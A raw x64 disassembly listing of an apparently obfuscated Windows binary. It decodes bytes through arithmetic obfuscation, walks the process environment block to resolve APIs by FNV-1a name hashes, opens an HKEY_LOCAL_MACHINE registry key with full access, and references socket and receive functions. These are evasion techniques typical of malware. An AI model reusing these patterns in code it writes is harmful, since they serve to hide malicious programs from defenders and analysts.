cmp rdi, rax
je 0x140153e3b
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140153e15
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140153df2
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140153dde
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140153dbb
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140153d98
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140153d84
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140153d61
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x140153d4d
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14015397a
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1401543ab
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140154388
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140153b7b
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140153b58
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140153b32
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140153d2c
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140153d0b
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140153ce7
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140153cbc
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14015397a
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140153ca8
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140153c87
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140153c66
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140153c52
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x140153c2f
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140153c0b
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140153be8
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140153bc5
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140153ba1
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14015397a
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14015397a
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015396d
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x140153906
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015388a
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140154225
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14015424f
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140154252
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140154276
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401542a0
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x140154197
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x140154163
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x140153d7d
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x140154048
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x520], bl
jmp 0x140154380
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140153ef2
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x140153eba
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x140153e7f
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x140154048
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x140154324
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140153f67
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401542c0
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1401542a0
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x140153c1a
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x140154252
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015424f
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x140154225
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x140153f26
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x80
je 0x14015413c
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x140153fc6
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x140154116
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14015405f
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 9
jb 0x140153cda
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140154227
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140153f52
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x140154371
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140153f79
movabs rdx, 0xb8b05b574343cd24
mov ecx, esi
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140154160
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140153fa5
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1401542c0
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140153e81
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401541bd
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140153fe3
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x140153bb0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015400f
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14015424f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015402c
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x140153c1a
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140153ebc
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140154371
jne 0x140154084
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140154371
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401540ae
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x140154163
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401540cb
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x140154197
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401540f5
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x140154276
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140153ef4
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140153bb0
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x520]
sub bl, al
sub bl, 0x50
jmp 0x140153c27
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x520]
add bl, r8b
add bl, dl
jmp 0x1401542f2
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x140154163
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401542c0
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401542a0
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140154252
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
jmp 0x140153bb0
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x520], cl
add r10, r15
sub r9, r15
jmp 0x140154380
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, bl
sub r8b, sil
mov byte [rbp + r9 + 0x520], r8b
add rdi, r10
jmp 0x1401542c0
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140154380
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x520], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x520], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140154371
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x520]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140153877
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x140153874
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x140153864
lea r12, [rbp + 0x145e2c8]
jmp 0x1401543e7
lea r12, [rbp + 0x136aa06]
jmp 0x1401543e7
lea r12, [rbp + 0x520]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x140154557
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140154463
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140154456
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140154447
cmp edx, esi
jne 0x140154535
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140154535
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140154535
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401544b7
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401544ac
cmp edx, r14d
je 0x1401544cd
test r10d, r10d
jne 0x140154497
jmp 0x140154535
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14015454a
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14015454a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140154528
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x140154504
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14015451b
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140154547
cmp qword [rbx + 0x30], r13
jne 0x140154417
mov r10, r13
mov qword [0x1404fc178], r10
mov r15d, 1
mov qword [rsp + 0x40], r13
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
mov r12d, 8
test rdx, rdx
jne 0x1401546f4
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015460d
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401545ff
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x1401545ee
cmp r8d, esi
jne 0x1401546e5
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401546e5
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401546e5
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x140154662
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x140154655
cmp r8d, r14d
je 0x140154677
test ebx, ebx
jne 0x140154640
jmp 0x1401546e5
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x1401546ed
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1401546ed
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x1401546b6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401546a8
jmp 0x1401546cb
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x1401546be
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401545bd
mov qword [0x1404fc118], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14015486c
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140154777
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015476a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015475b
cmp edx, esi
jne 0x140154850
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140154850
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140154850
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401547d1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401547c6
cmp edx, r14d
je 0x1401547e7
test r11d, r11d
jne 0x1401547b1
jmp 0x14015484a
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140154865
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x140154865
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140154829
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14015481b
jmp 0x14015483e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x140154831
mov rbx, qword [r15]
mov r12d, 8
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140154862
cmp qword [rbx + 0x30], r13
jne 0x14015472b
mov rbx, r13
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x1401549e4
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401548f5
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401548e8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401548d9
cmp edx, esi
jne 0x1401549c8
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401549c8
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401549c8
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015494f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140154944
cmp edx, r14d
je 0x140154965
test r11d, r11d
jne 0x14015492f
jmp 0x1401549c8
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401549dd
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401549dd
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401549a7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140154999
jmp 0x1401549bc
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401549af
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401549da
cmp qword [rbx + 0x30], r13
jne 0x1401548a9
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x140154b53
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140154a64
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140154a57
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140154a48
cmp edx, esi
jne 0x140154b37
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140154b37
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140154b37
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140154abe
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140154ab3
cmp edx, r14d
je 0x140154ad4
test r11d, r11d
jne 0x140154a9e
jmp 0x140154b37
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140154b4c
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140154b4c
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140154b16
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140154b08
jmp 0x140154b2b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140154b1e
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140154b49
cmp qword [rbx + 0x30], r13
jne 0x140154a18
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x140154cc2
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140154bd3
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140154bc6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140154bb7
cmp edx, esi
jne 0x140154ca6
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140154ca6
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140154ca6
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140154c2d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140154c22
cmp edx, r14d
je 0x140154c43
test r11d, r11d
jne 0x140154c0d
jmp 0x140154ca6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140154cbb
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140154cbb
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140154c85
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140154c77
jmp 0x140154c9a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140154c8d
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140154cb8
cmp qword [rbx + 0x30], r13
jne 0x140154b87
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x140154e30
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140154d3f
